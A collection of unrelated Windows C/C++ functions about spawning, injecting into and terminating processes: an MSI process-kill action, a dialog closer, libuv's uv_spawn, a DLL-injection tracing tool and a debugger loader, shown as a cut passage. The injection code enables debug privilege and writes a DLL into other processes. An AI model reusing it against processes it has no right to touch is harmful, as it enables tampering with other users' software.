_T('\0'); kpList[nKpList].desc = new TCHAR[ FIELD_SIZE ]; kpList[nKpList].desc[0] = _T('\0'); nKpList++; size = FIELD_SIZE; rv = MsiRecordGetString(hRecord, 1, kpList[nKpList-1].image, &size); RV_BAIL; size = FIELD_SIZE; rv = MsiRecordGetString(hRecord, 2, kpList[nKpList-1].desc, &size); RV_BAIL; MsiCloseHandle(hRecord); } while(nKpList < MAX_KILL_PROCESSES); hRecord = NULL; // now we have all the processes in the array. Check if they are running. hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if(hSnapshot == INVALID_HANDLE_VALUE) { rv = GetLastError(); goto _cleanup; } pe.dwSize = sizeof( PROCESSENTRY32 ); if(!Process32First( hSnapshot, &pe )) { // technically we should at least find the MSI process, but we let this pass rv = ERROR_SUCCESS; goto _cleanup; } do { for(i=0; i<nKpList; i++) { if(!_tcsicmp( kpList[i].image, pe.szExeFile )) { // got one if(bKill) { // try to kill the process HANDLE hProcess = NULL; // If we encounter an error, instead of bailing // out, we continue on to the next process. We // may not have permission to kill all the // processes we want to kill anyway. If there are // any files that we want to replace that is in // use, Windows Installer will schedule a reboot. // Also, it's not like we have an exhaustive list // of all the programs that use Kerberos anyway. hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if(hProcess == NULL) { rv = GetLastError(); break; } if(!TerminateProcess(hProcess, 0)) { rv = GetLastError(); CloseHandle(hProcess); break; } CloseHandle(hProcess); } else { TCHAR buf[256]; // we are supposed to just list out the processes rv = MsiRecordClearData( hRecordInsert ); RV_BAIL; rv = MsiRecordSetString( hRecordInsert, 1, _T("KillableProcesses")); rv = MsiRecordSetInteger( hRecordInsert, 2, rowNum++ ); RV_BAIL; _itot( rowNum, buf, 10 ); rv = MsiRecordSetString( hRecordInsert, 3, buf ); RV_BAIL; if(_tcslen(kpList[i].desc)) { rv = MsiRecordSetString( hRecordInsert, 4, kpList[i].desc ); RV_BAIL; } else { rv = MsiRecordSetString( hRecordInsert, 4, kpList[i].image ); RV_BAIL; } MsiViewModify(hViewInsert, MSIMODIFY_INSERT_TEMPORARY, hRecordInsert); RV_BAIL; found = TRUE; } break; } } } while( Process32Next( hSnapshot, &pe ) ); if(!bKill) { // set the 'FoundProcceses' property if(found) { MsiSetProperty( hInstall, _T("FoundProcesses"), _T("1")); } else { MsiSetProperty( hInstall, _T("FoundProcesses"), _T("")); } } // Finally: rv = ERROR_SUCCESS; _cleanup: if(hRecordInsert) MsiCloseHandle(hRecordInsert); if(hViewInsert) MsiCloseHandle(hView); if(hSnapshot && hSnapshot != INVALID_HANDLE_VALUE) CloseHandle(hSnapshot); while(nKpList) { nKpList--; delete kpList[nKpList].image; delete kpList[nKpList].desc; } delete kpList; if(hRecord) MsiCloseHandle(hRecord); if(hView) MsiCloseHandle(hView); if(hDatabase) MsiCloseHandle(hDatabase); if(rv != ERROR_SUCCESS) { ShowMsiError(hInstall, ERR_PROC_LIST, rv); } return rv; }
/*----------------------------------------------------------------------------- Close any dialog windows that may be open -----------------------------------------------------------------------------*/ void CurlBlastDlg::CloseDialogs(void) { TCHAR szTitle[1025]; // make sure wptdriver isn't doing a software install bool installing = false; HWND hWptDriver = ::FindWindow(_T("wptdriver_wnd"), NULL); if (hWptDriver) { if (::GetWindowText(hWptDriver, szTitle, _countof(szTitle))) { CString title = szTitle; title.MakeLower(); if (title.Find(_T(" software")) >= 0) installing = true; } } // if there are any explorer windows open, disable this code (for local debugging and other work) if( !installing && !::FindWindow(_T("CabinetWClass"), NULL ) ) { HWND hDesktop = ::GetDesktopWindow(); HWND hWnd = ::GetWindow(hDesktop, GW_CHILD); TCHAR szClass[100]; CArray<HWND> hDlg; const TCHAR * szKeepOpen[] = { _T("urlblast") , _T("url blast") , _T("task manager") , _T("aol pagetest") , _T("choose file") , _T("network delay simulator") , _T("shut down windows") , _T("vmware") , _T("security essentials") }; // build a list of dialogs to close while(hWnd) { if(hWnd != m_hWnd) { if(::IsWindowVisible(hWnd)) if(::GetClassName(hWnd, szClass, 100)) if((!lstrcmp(szClass,_T("#32770"))||!lstrcmp(szClass,_T("Internet Explorer_Server")))) // check window title for all classes { bool bKill = true; // make sure it is not in our list of windows to keep if(::GetWindowText( hWnd, szTitle, 1024)) { log.Trace(_T("Killing Dialog: %s"), szTitle); _tcslwr_s(szTitle, _countof(szTitle)); for(int i = 0; i < _countof(szKeepOpen) && bKill; i++) { if(_tcsstr(szTitle, szKeepOpen[i])) bKill = false; } // do we have to terminate the process that owns it? if( !lstrcmp(szTitle, _T("server busy")) ) { log.Trace(_T("Terminating process")); DWORD pid; GetWindowThreadProcessId(hWnd, &pid); HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if( hProcess ) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } } } if(bKill) hDlg.Add(hWnd); } } hWnd = ::GetWindow(hWnd, GW_HWNDNEXT); } // close all of the dialogs for(int i = 0; i < hDlg.GetSize(); i++) { //see if there is an OK button HWND hOk = ::FindWindowEx(hDlg[i], 0, 0, _T("OK")); if( hOk ) { int id = ::GetDlgCtrlID(hOk); if( !id ) id = IDOK; ::PostMessage(hDlg[i],WM_COMMAND,id,0); } else ::PostMessage(hDlg[i],WM_CLOSE,0,0); } } }
int uv_spawn(uv_loop_t* loop, uv_process_t* process, const uv_process_options_t* options) { int i; int err = 0; WCHAR* path = NULL, *alloc_path = NULL; BOOL result; WCHAR* application_path = NULL, *application = NULL, *arguments = NULL, *env = NULL, *cwd = NULL; STARTUPINFOW startup; PROCESS_INFORMATION info; DWORD process_flags; uv_process_init(loop, process); process->exit_cb = options->exit_cb; if (options->flags & (UV_PROCESS_SETGID | UV_PROCESS_SETUID)) { return UV_ENOTSUP; } if (options->file == NULL || options->args == NULL) { return UV_EINVAL; } if (options->cpumask != NULL) { if (options->cpumask_size < (size_t)uv_cpumask_size()) { return UV_EINVAL; } } assert(options->file != NULL); assert(!(options->flags & ~(UV_PROCESS_DETACHED | UV_PROCESS_SETGID | UV_PROCESS_SETUID | UV_PROCESS_WINDOWS_HIDE | UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS))); err = uv_utf8_to_utf16_alloc(options->file, &application); if (err) goto done; err = make_program_args( options->args, options->flags & UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS, &arguments); if (err) goto done; if (options->env) { err = make_program_env(options->env, &env); if (err) goto done; } if (options->cwd) { /* Explicit cwd */ err = uv_utf8_to_utf16_alloc(options->cwd, &cwd); if (err) goto done; } else { /* Inherit cwd */ DWORD cwd_len, r; cwd_len = GetCurrentDirectoryW(0, NULL); if (!cwd_len) { err = GetLastError(); goto done; } cwd = (WCHAR*) uv__malloc(cwd_len * sizeof(WCHAR)); if (cwd == NULL) { err = ERROR_OUTOFMEMORY; goto done; } r = GetCurrentDirectoryW(cwd_len, cwd); if (r == 0 || r >= cwd_len) { err = GetLastError(); goto done; } } /* Get PATH environment variable. */ path = find_path(env); if (path == NULL) { DWORD path_len, r; path_len = GetEnvironmentVariableW(L"PATH", NULL, 0); if (path_len == 0) { err = GetLastError(); goto done; } alloc_path = (WCHAR*) uv__malloc(path_len * sizeof(WCHAR)); if (alloc_path == NULL) { err = ERROR_OUTOFMEMORY; goto done; } path = alloc_path; r = GetEnvironmentVariableW(L"PATH", path, path_len); if (r == 0 || r >= path_len) { err = GetLastError(); goto done; } } err = uv__stdio_create(loop, options, &process->child_stdio_buffer); if (err) goto done; application_path = search_path(application, cwd, path); if (application_path == NULL) { /* Not found. */ err = ERROR_FILE_NOT_FOUND; goto done; } startup.cb = sizeof(startup); startup.lpReserved = NULL; startup.lpDesktop = NULL; startup.lpTitle = NULL; startup.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; startup.cbReserved2 = uv__stdio_size(process->child_stdio_buffer); startup.lpReserved2 = (BYTE*) process->child_stdio_buffer; startup.hStdInput = uv__stdio_handle(process->child_stdio_buffer, 0); startup.hStdOutput = uv__stdio_handle(process->child_stdio_buffer, 1); startup.hStdError = uv__stdio_handle(process->child_stdio_buffer, 2); process_flags = CREATE_UNICODE_ENVIRONMENT; if (options->flags & UV_PROCESS_WINDOWS_HIDE) { /* Avoid creating console window if stdio is not inherited. */ for (i = 0; i < options->stdio_count; i++) { if (options->stdio[i].flags & UV_INHERIT_FD) break; if (i == options->stdio_count - 1) process_flags |= CREATE_NO_WINDOW; } /* Use SW_HIDE to avoid any potential process window. */ startup.wShowWindow = SW_HIDE; } else { startup.wShowWindow = SW_SHOWDEFAULT; } if (options->flags & UV_PROCESS_DETACHED) { /* Note that we're not setting the CREATE_BREAKAWAY_FROM_JOB flag. That * means that libuv might not let you create a fully daemonized process * when run under job control. However the type of job control that libuv * itself creates doesn't trickle down to subprocesses so they can still * daemonize. * * A reason to not do this is that CREATE_BREAKAWAY_FROM_JOB makes the * CreateProcess call fail if we're under job control that doesn't allow * breakaway. */ process_flags |= DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP; } if (options->cpumask != NULL) { /* Create the child in a suspended state so we have a chance to set its process affinity before it runs. */ process_flags |= CREATE_SUSPENDED; } if (!CreateProcessW(application_path, arguments, NULL, NULL, 1, process_flags, env, cwd, &startup, &info)) { /* CreateProcessW failed. */ err = GetLastError(); goto done; } if (options->cpumask != NULL) { /* The child is currently suspended. Set its process affinity or terminate it if we can't. */ int i; int cpumasksize; DWORD_PTR sysmask; DWORD_PTR oldmask; DWORD_PTR newmask; cpumasksize = uv_cpumask_size(); if (!GetProcessAffinityMask(info.hProcess, &oldmask, &sysmask)) { err = GetLastError(); TerminateProcess(info.hProcess, 1); goto done; } newmask = 0; for (i = 0; i < cpumasksize; i++) { if (options->cpumask[i]) { if (oldmask & (((DWORD_PTR)1) << i)) { newmask |= ((DWORD_PTR)1) << i; } else { err = UV_EINVAL; TerminateProcess(info.hProcess, 1); goto done; } } } if (!SetProcessAffinityMask(info.hProcess, newmask)) { err = GetLastError(); TerminateProcess(info.hProcess, 1); goto done; } /* The process affinity of the child is set. Let it run. */ if (ResumeThread(info.hThread) == ((DWORD)-1)) { err = GetLastError(); TerminateProcess(info.hProcess, 1); goto done; } } /* Spawn succeeded */ /* Beyond this point, failure is reported asynchronously. */ process->process_handle = info.hProcess; process->pid = info.dwProcessId; /* If the process isn't spawned as detached, assign to the global job */ /* object so windows will kill it when the parent process dies. */ if (!(options->flags & UV_PROCESS_DETACHED)) { uv_once(&uv_global_job_handle_init_guard_, uv__init_global_job_handle); if (!AssignProcessToJobObject(uv_global_job_handle_, info.hProcess)) { /* AssignProcessToJobObject might fail if this process is under job * control and the job doesn't have the * JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK flag set, on a Windows version * that doesn't support nested jobs. * * When that happens we just swallow the error and continue without * establishing a kill-child-on-parent-exit relationship, otherwise * there would be no way for libuv applications run under job control * to spawn processes at all. */ DWORD err = GetLastError(); if (err != ERROR_ACCESS_DENIED) uv_fatal_error(err, "AssignProcessToJobObject"); } } /* Set IPC pid to all IPC pipes. */ for (i = 0; i < options->stdio_count; i++) { const uv_stdio_container_t* fdopt = &options->stdio[i]; if (fdopt->flags & UV_CREATE_PIPE && fdopt->data.stream->type == UV_NAMED_PIPE && ((uv_pipe_t*) fdopt->data.stream)->ipc) { ((uv_pipe_t*) fdopt->data.stream)->pipe.conn.ipc_pid = info.dwProcessId; } } /* Setup notifications for when the child process exits. */ result = RegisterWaitForSingleObject(&process->wait_handle, process->process_handle, exit_wait_callback, (void*)process, INFINITE, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE); if (!result) { uv_fatal_error(GetLastError(), "RegisterWaitForSingleObject"); } CloseHandle(info.hThread); assert(!err); /* Make the handle active. It will remain active until the exit callback */ /* is made or the handle is closed, whichever happens first. */ uv__handle_start(process); /* Cleanup, whether we succeeded or failed. */ done: uv__free(application); uv__free(application_path); uv__free(arguments); uv__free(cwd); uv__free(env); uv__free(alloc_path); if (process->child_stdio_buffer != NULL) { /* Clean up child stdio handles. */ uv__stdio_destroy(process->child_stdio_buffer); process->child_stdio_buffer = NULL; } return uv_translate_sys_error(err); }
// Force DWM process to recreate all its Direct3D objects. static void restartDwmComposition(HANDLE hProcess) { HRESULT hr; HMODULE hModule = LoadLibraryA("dwmapi"); assert(hModule); if (!hModule) { return; } typedef HRESULT (WINAPI *PFNDWMISCOMPOSITIONENABLED)(BOOL *pfEnabled); PFNDWMISCOMPOSITIONENABLED pfnDwmIsCompositionEnabled = (PFNDWMISCOMPOSITIONENABLED)GetProcAddress(hModule, "DwmIsCompositionEnabled"); assert(pfnDwmIsCompositionEnabled); if (!pfnDwmIsCompositionEnabled) { return; } typedef HRESULT (WINAPI *PFNDWMENABLECOMPOSITION)(UINT uCompositionAction); PFNDWMENABLECOMPOSITION pfnDwmEnableComposition = (PFNDWMENABLECOMPOSITION)GetProcAddress(hModule, "DwmEnableComposition"); assert(pfnDwmEnableComposition); if (!pfnDwmEnableComposition) { return; } BOOL bIsWindows8OrGreater = IsWindows8OrGreater(); if (bIsWindows8OrGreater) { // Windows 8 ignores DwmEnableComposition(DWM_EC_DISABLECOMPOSITION). // It is however possible to force DWM to restart by restarting the // display device via the devcon utility devconEnable(DEVCON_CLASS_DISPLAY); } else { BOOL fEnabled = FALSE; hr = pfnDwmIsCompositionEnabled(&fEnabled); if (FAILED(hr) || !fEnabled) { return; } fprintf(stderr, "info: restarting DWM composition\n"); hr = pfnDwmEnableComposition(DWM_EC_DISABLECOMPOSITION); assert(SUCCEEDED(hr)); if (FAILED(hr)) { return; } Sleep(1000/30); hr = pfnDwmEnableComposition(DWM_EC_ENABLECOMPOSITION); assert(SUCCEEDED(hr)); (void)hr; } fprintf(stderr, "Press any key when finished tracing\n"); getchar(); DWORD dwExitCode; if (GetExitCodeProcess(hProcess, &dwExitCode) && dwExitCode != STILL_ACTIVE) { // DWM process has already terminated return; } fprintf(stderr, "info: restarting DWM process\n"); if (bIsWindows8OrGreater) { // From Windows 8 onwards DWM no longer runs as a service. We just // kill it and winlogon parent process will respawn it. if (!TerminateProcess(hProcess, 0)) { logLastError("failed to terminate DWM process"); } } else { hr = pfnDwmEnableComposition(DWM_EC_DISABLECOMPOSITION); assert(SUCCEEDED(hr)); restartService("uxsms"); } }
int work_over_actions(struct _config *cfg, char *path, char *strings[3]) { int i = 0, enable = TRUE, searchfor = 0, action = 0; struct process_record *pr = NULL; char buf[BUFSIZE]; if (strings[0]) ses_read_i(&cfg->sessionroot, path, strings[0], 0, &enable); if (!enable) return 0; if (!ses_read_i(&cfg->sessionroot, path, strings[1], 0, &searchfor)) return 0; pr = get_nth_process_record(process_records, nprocesses, path, searchfor); i = 0; action = 0; sprintf(buf, strings[2], i); while (ses_read_i(&cfg->sessionroot, path, buf, 0, &action)) { switch (action) { case SESSION_ACTION_HIDE: if (pr && pr->window) ShowWindow(pr->window, SW_HIDE); break; case SESSION_ACTION_SHOW: if (pr && pr->window) { ShowWindow(pr->window, /*SW_SHOWNORMAL*/ SW_SHOW); SetForegroundWindow(pr->window); }; break; case SESSION_ACTION_MINIMIZE: if (pr && pr->window) ShowWindow(pr->window, SW_MINIMIZE); break; case SESSION_ACTION_MAXIMIZE: if (pr && pr->window) ShowWindow(pr->window, SW_MAXIMIZE); break; case SESSION_ACTION_CENTER: if (pr && pr->window) center_window(pr->window); break; case SESSION_ACTION_KILL: if (pr && pr->window) SendMessage(pr->window, WM_CLOSE, 0, 0); break; case SESSION_ACTION_MURDER: if (pr) TerminateProcess(pr->hprocess, 0); break; case SESSION_ACTION_RUN: launch_putty(0, path); break; }; i++; sprintf(buf, strings[2], i); }; return i; };
int main(int argc, char *argv[]) { BOOL bDebug = FALSE; BOOL bAttach = FALSE; DWORD dwProcessId = 0; DWORD dwThreadId = 0; char cVerbosity = 0; const char *szDll = NULL; int option_index = 0; while (true) { int opt = getopt_long_only(argc, argv, short_options, long_options, &option_index); if (opt == -1) { break; } switch (opt) { case 'h': help(); return 0; case 'd': bDebug = TRUE; break; case 'D': szDll = optarg; break; case 'p': dwProcessId = strtoul(optarg, NULL, 0); bAttach = TRUE; break; case 't': dwThreadId = strtoul(optarg, NULL, 0); bAttach = TRUE; break; case 'v': ++cVerbosity; break; default: debugPrintf("inject: invalid option '%c'\n", optopt); help(); return 1; } } if (!bAttach) { if (argc - optind < 1) { debugPrintf("inject: error: insufficient number of arguments\n"); help(); return 1; } if (isNumber(argv[optind])) { dwProcessId = atol(argv[optind]); bAttach = TRUE; } else if (argv[optind][0] == '!') { const char *szProcessName = &argv[optind][1]; dwProcessId = getProcessIdByName(szProcessName); if (!dwProcessId) { debugPrintf("error: failed to find process %s\n", szProcessName); return 1; } bAttach = TRUE; } } if (!szDll) { debugPrintf("inject: error: DLL not specificed\n"); help(); return 1; } HANDLE hSemaphore = NULL; if (!USE_SHARED_MEM) { SetEnvironmentVariableA("INJECT_DLL", szDll); } else { hSemaphore = CreateSemaphore(NULL, 1, 1, "inject_semaphore"); if (hSemaphore == NULL) { debugPrintf("error: failed to create semaphore\n"); return 1; } DWORD dwWait = WaitForSingleObject(hSemaphore, 0); if (dwWait == WAIT_TIMEOUT) { debugPrintf("info: waiting for another inject instance to finish\n"); dwWait = WaitForSingleObject(hSemaphore, INFINITE); } if (dwWait != WAIT_OBJECT_0) { debugPrintf("error: failed to enter semaphore gate\n"); return 1; } SharedMem *pSharedMem = OpenSharedMemory(); if (!pSharedMem) { debugPrintf("error: failed to open shared memory\n"); return 1; } pSharedMem->cVerbosity = cVerbosity; strncpy(pSharedMem->szDllName, szDll, _countof(pSharedMem->szDllName) - 1); pSharedMem->szDllName[_countof(pSharedMem->szDllName) - 1] = '\0'; } BOOL bAttachDwm = FALSE; PROCESS_INFORMATION processInfo; HANDLE hProcess; if (bAttach) { BOOL bRet; HANDLE hToken = NULL; bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); if (!bRet) { debugPrintf("error: OpenProcessToken returned %u\n", (unsigned)bRet); return 1; } LUID Luid; bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid); if (!bRet) { debugPrintf("error: LookupPrivilegeValue returned %u\n", (unsigned)bRet); return 1; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, NULL, NULL); if (!bRet) { debugPrintf("error: AdjustTokenPrivileges returned %u\n", (unsigned)bRet); return 1; } DWORD dwDesiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE; hProcess = OpenProcess( dwDesiredAccess, FALSE /* bInheritHandle */, dwProcessId); if (!hProcess) { logLastError("failed to open process"); return 1; } char szProcess[MAX_PATH]; DWORD dwRet = GetModuleFileNameEx(hProcess, 0, szProcess, sizeof szProcess); assert(dwRet); if (dwRet && stricmp(getBaseName(szProcess), "dwm.exe") == 0) { bAttachDwm = TRUE; } } else { std::string commandLine; char sep = 0; for (int i = optind; i < argc; ++i) { const char *arg = argv[i]; if (sep) { commandLine.push_back(sep); } if (needsQuote(arg)) { quoteArg(commandLine, arg); } else { commandLine.append(arg); } sep = ' '; } STARTUPINFO startupInfo; memset(&startupInfo, 0, sizeof startupInfo); startupInfo.cb = sizeof startupInfo; // Create the process in suspended state if (!CreateProcessA( NULL, const_cast<char *>(commandLine.c_str()), // only modified by CreateProcessW 0, // process attributes 0, // thread attributes TRUE, // inherit handles CREATE_SUSPENDED, NULL, // environment NULL, // current directory &startupInfo, &processInfo)) { DWORD dwLastError = GetLastError(); fprintf(stderr, "inject: error: failed to execute %s (%lu)\n", commandLine.c_str(), dwLastError); if (dwLastError == ERROR_ELEVATION_REQUIRED) { fprintf(stderr, "error: target program requires elevated priviledges and must be started from an Administrator Command Prompt, or UAC must be disabled\n"); } return 1; } hProcess = processInfo.hProcess; } /* * XXX: Mixed architecture don't quite work. See also * http://www.corsix.org/content/dll-injection-and-wow64 */ { typedef BOOL (WINAPI *PFNISWOW64PROCESS)(HANDLE, PBOOL); PFNISWOW64PROCESS pfnIsWow64Process; pfnIsWow64Process = (PFNISWOW64PROCESS) GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); if (pfnIsWow64Process) { BOOL isParentWow64 = FALSE; BOOL isChildWow64 = FALSE; if (pfnIsWow64Process(GetCurrentProcess(), &isParentWow64) && pfnIsWow64Process(hProcess, &isChildWow64) && isParentWow64 != isChildWow64) { debugPrintf("error: binaries mismatch: you need to use the " #ifdef _WIN64 "32-bits" #else "64-bits" #endif " apitrace binaries to trace this application\n"); TerminateProcess(hProcess, 1); return 1; } } } if (bAttachDwm && IsWindows8OrGreater()) { // Switch to Microsoft Basic Display Driver before injecting, so that // we don't trace with it. devconDisable(DEVCON_CLASS_DISPLAY); Sleep(1000); } const char *szDllName; szDllName = "injectee.dll"; char szDllPath[MAX_PATH]; GetModuleFileNameA(NULL, szDllPath, sizeof szDllPath); getDirName(szDllPath); strncat(szDllPath, szDllName, sizeof szDllPath - strlen(szDllPath) - 1); if (bDebug) { if (!attachDebugger(GetProcessId(hProcess))) { if (!bAttach) { TerminateProcess(hProcess, 1); } return 1; } } #if 1 if (!injectDll(hProcess, szDllPath)) { if (!bAttach) { TerminateProcess(hProcess, 1); } return 1; } #endif DWORD exitCode; if (bAttach) { if (bAttachDwm) { restartDwmComposition(hProcess); } else { fprintf(stderr, "Press any key when finished tracing\n"); getchar(); ejectDll(hProcess, szDllPath); } if (dwThreadId) { HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, TRUE, dwThreadId); if (hThread) { ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } else { debugPrintf("inject: failed to open thread %lu\n", dwThreadId); } return 0; } exitCode = 0; } else { // Start main process thread ResumeThread(processInfo.hThread); // Wait for it to finish WaitForSingleObject(hProcess, INFINITE); if (pSharedMem && !pSharedMem->bReplaced) { debugPrintf("warning: %s was never used: application probably does not use this API\n", szDll); } exitCode = ~0; GetExitCodeProcess(hProcess, &exitCode); CloseHandle(processInfo.hThread); } CloseHandle(hProcess); if (hSemaphore) { ReleaseSemaphore(hSemaphore, 1, NULL); CloseHandle(hSemaphore); } return (int)exitCode; }
/* * AccLoadProg - create a new process for debugging */ trap_retval ReqProg_load( void ) { char *parm; char *src; char *dst; char *endsrc; char exe_name[PATH_MAX]; char ch; BOOL rc; int len; MYCONTEXT con; thread_info *ti; HANDLE handle; prog_load_req *acc; prog_load_ret *ret; header_info hi; WORD stack; WORD version; DWORD pid; DWORD pid_started; DWORD cr_flags; char *buff; size_t nBuffRequired; char *dll_name; char *service_name; char *dll_destination; char *service_parm; acc = GetInPtr( 0 ); ret = GetOutPtr( 0 ); parm = GetInPtr( sizeof( *acc ) ); /* * reset status variables */ LastExceptionCode = -1; DebugString = NULL; DebugeeEnded = FALSE; RemoveAllThreads(); FreeLibList(); DidWaitForDebugEvent = FALSE; DebugeePid = 0; DebugeeTid = 0; SupportingExactBreakpoints = 0; /* * check if pid is specified */ ParseServiceStuff( parm, &dll_name, &service_name, &dll_destination, &service_parm ); pid = 0; src = parm; /* // Just to be really safe! */ nBuffRequired = GetTotalSize() + PATH_MAX + 16; buff = LocalAlloc( LMEM_FIXED, nBuffRequired ); if( buff == NULL ) { ret->err = ERROR_NOT_ENOUGH_MEMORY; return( sizeof( *ret ) ); } if( *src == '#' ) { src++; pid = strtoul( src, &endsrc, 16 ); if( pid == 0 ) { pid = -1; } strcpy( buff, endsrc ); } else { while( isdigit( *src ) ) { src++; } if( *src == 0 && src != parm ) { pid = atoi( parm ); } } /* * get program to debug. If the user has specified a pid, then * skip directly to doing a DebugActiveProcess */ IsWOW = FALSE; #if !defined( MD_x64 ) IsDOS = FALSE; #endif if( pid == 0 ) { ret->err = FindProgFile( parm, exe_name, NtExtList ); if( ret->err != 0 ) { goto error_exit; } /* * Get type of application */ handle = CreateFile( (LPTSTR)exe_name, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0 ); if( handle == INVALID_HANDLE_VALUE ) { ret->err = GetLastError(); goto error_exit; } GetFullPathName( exe_name, MAX_PATH, CurrEXEName, NULL ); /* * get the parm list */ if( strchr( CurrEXEName, ' ' ) != NULL ) { strcpy( buff, "\"" ); strcat( buff, CurrEXEName ); strcat( buff, "\"" ); } else { strcpy( buff, CurrEXEName ); } dst = &buff[strlen( buff )]; src = parm; while( *src != 0 ) { ++src; } // parm layout // <--parameters-->0<--program_name-->0<--arguments-->0 // for( len = GetTotalSize() - sizeof( *acc ) - (src - parm) - 1; len > 0; --len ) { ch = *src; if( ch == 0 ) { ch = ' '; } *dst = ch; ++dst; ++src; } *dst = 0; cr_flags = DEBUG_ONLY_THIS_PROCESS; if( !GetEXEHeader( handle, &hi, &stack ) ) { ret->err = GetLastError(); CloseHandle( handle ); goto error_exit; } if( hi.sig == EXE_PE ) { if( IS_PE64( hi.u.peh ) ) { DebugeeSubsystem = PE64( hi.u.peh ).subsystem; } else { DebugeeSubsystem = PE32( hi.u.peh ).subsystem; #if defined( MD_x64 ) IsWOW = TRUE; #endif } if( DebugeeSubsystem == SS_WINDOWS_CHAR ) { cr_flags |= CREATE_NEW_CONSOLE; } #if !defined( MD_x64 ) } else if( hi.sig == EXE_NE ) { IsWOW = TRUE; /* * find out the pid of WOW, if it is already running. */ pVDMEnumProcessWOW( EnumWOWProcessFunc, (LPARAM)&pid ); if( pid != 0 ) { version = LOWORD( GetVersion() ); if( LOBYTE( version ) == 3 && HIBYTE( version ) < 50 ) { int kill = MessageBox( NULL, TRP_NT_wow_warning, TRP_The_WATCOM_Debugger, MB_APPLMODAL + MB_YESNO ); if( kill == IDYES ) { DWORD axs = PROCESS_TERMINATE+STANDARD_RIGHTS_REQUIRED; HANDLE hprocess = OpenProcess( axs, FALSE, pid ); if( hprocess != 0 && TerminateProcess( hprocess, 0 ) ) { CloseHandle( hprocess ); pid = 0; } } } else { cr_flags |= CREATE_SEPARATE_WOW_VDM; pid = 0; // always start a new VDM. } } if( pid != 0 ) { ret->err = GetLastError(); CloseHandle( handle ); goto error_exit; } } else { IsDOS = TRUE; #endif } CloseHandle( handle ); } /* * start the debugee */ pid_started = pid; if( *dll_name ) { strcat( buff, LOAD_PROG_STR_DELIM ); strcat( buff, LOAD_PROG_STR_DLLNAME ); strcat( buff, dll_name ); } if( *service_name ) { strcat( buff, LOAD_PROG_STR_DELIM ); strcat( buff, LOAD_PROG_STR_SERVICE ); strcat( buff, service_name ); } if( *dll_destination ) { strcat( buff, LOAD_PROG_STR_DELIM ); strcat( buff, LOAD_PROG_STR_COPYDIR ); strcat( buff, dll_destination ); } if( *service_parm ) { strcat( buff, LOAD_PROG_STR_DELIM ); strcat( buff, LOAD_PROG_STR_SERVICEPARM ); strcat( buff, service_parm ); } ret->err = StartControlThread( buff, &pid_started, cr_flags ); if( ret->err != 0 ) { goto error_exit; } /* * CREATE_PROCESS_DEBUG_EVENT will always be the first debug event. * If it is not, then something is horribly wrong. */ rc = MyWaitForDebugEvent(); if( !rc || ( DebugEvent.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT ) || ( DebugEvent.dwProcessId != pid_started ) ) { ret->err = GetLastError(); goto error_exit; } ProcessInfo.pid = DebugEvent.dwProcessId; ProcessInfo.process_handle = DebugEvent.u.CreateProcessInfo.hProcess; ProcessInfo.base_addr = DebugEvent.u.CreateProcessInfo.lpBaseOfImage; AddProcess( &hi ); AddThread( DebugEvent.dwThreadId, DebugEvent.u.CreateProcessInfo.hThread, DebugEvent.u.CreateProcessInfo.lpStartAddress ); DebugeePid = DebugEvent.dwProcessId; DebugeeTid = DebugEvent.dwThreadId; LastDebugEventTid = DebugEvent.dwThreadId; #if defined( MD_x86 ) #ifdef WOW if( IsWOW ) { ret->flags = LD_FLAG_IS_PROT; ret->err = 0; ret->task_id = DebugeePid; /* * we use our own CS and DS as the Flat CS and DS, for lack * of anything better */ FlatDS = GetDS(); FlatCS = GetCS(); if( !executeUntilVDMStart() ) { ret->err = GetLastError(); goto error_exit; } if( pid ) { addAllWOWModules(); } else { addKERNEL(); } /* * we save the starting CS:IP of the WOW app, since we will use * it to force execution of code later */ ti = FindThread( DebugeeTid ); MyGetThreadContext( ti, &con ); WOWAppInfo.segment = ( WORD ) con.SegCs; WOWAppInfo.offset = ( WORD ) con.Eip; con.SegSs = con.SegDs; // Wow lies about the stack segment. Reset it con.Esp = stack; MySetThreadContext( ti, &con ); } else if( IsDOS ) { // TODO! Clean up this code ret->flags = 0; //LD_FLAG_IS_PROT; ret->err = 0; ret->task_id = DebugeePid; /* * we use our own CS and DS as the Flat CS and DS, for lack * of anything better */ FlatDS = GetDS(); FlatCS = GetCS(); if( !executeUntilVDMStart() ) { ret->err = GetLastError(); goto error_exit; } #if 0 if( pid ) { addAllWOWModules(); } else { addKERNEL(); } #endif /* * we save the starting CS:IP of the WOW app, since we will use * it to force execution of code later */ ti = FindThread( DebugeeTid ); MyGetThreadContext( ti, &con ); WOWAppInfo.segment = ( WORD )con.SegCs; WOWAppInfo.offset = ( WORD )con.Eip; con.SegSs = con.SegDs; // Wow lies about the stack segment. Reset it con.Esp = stack; MySetThreadContext( ti, &con ); } else { #else { #endif #else { #endif LPVOID base; if( pid == 0 ) { base = (LPVOID)DebugEvent.u.CreateProcessInfo.lpStartAddress; } else { base = 0; } ret->flags = LD_FLAG_IS_PROT; ret->err = 0; 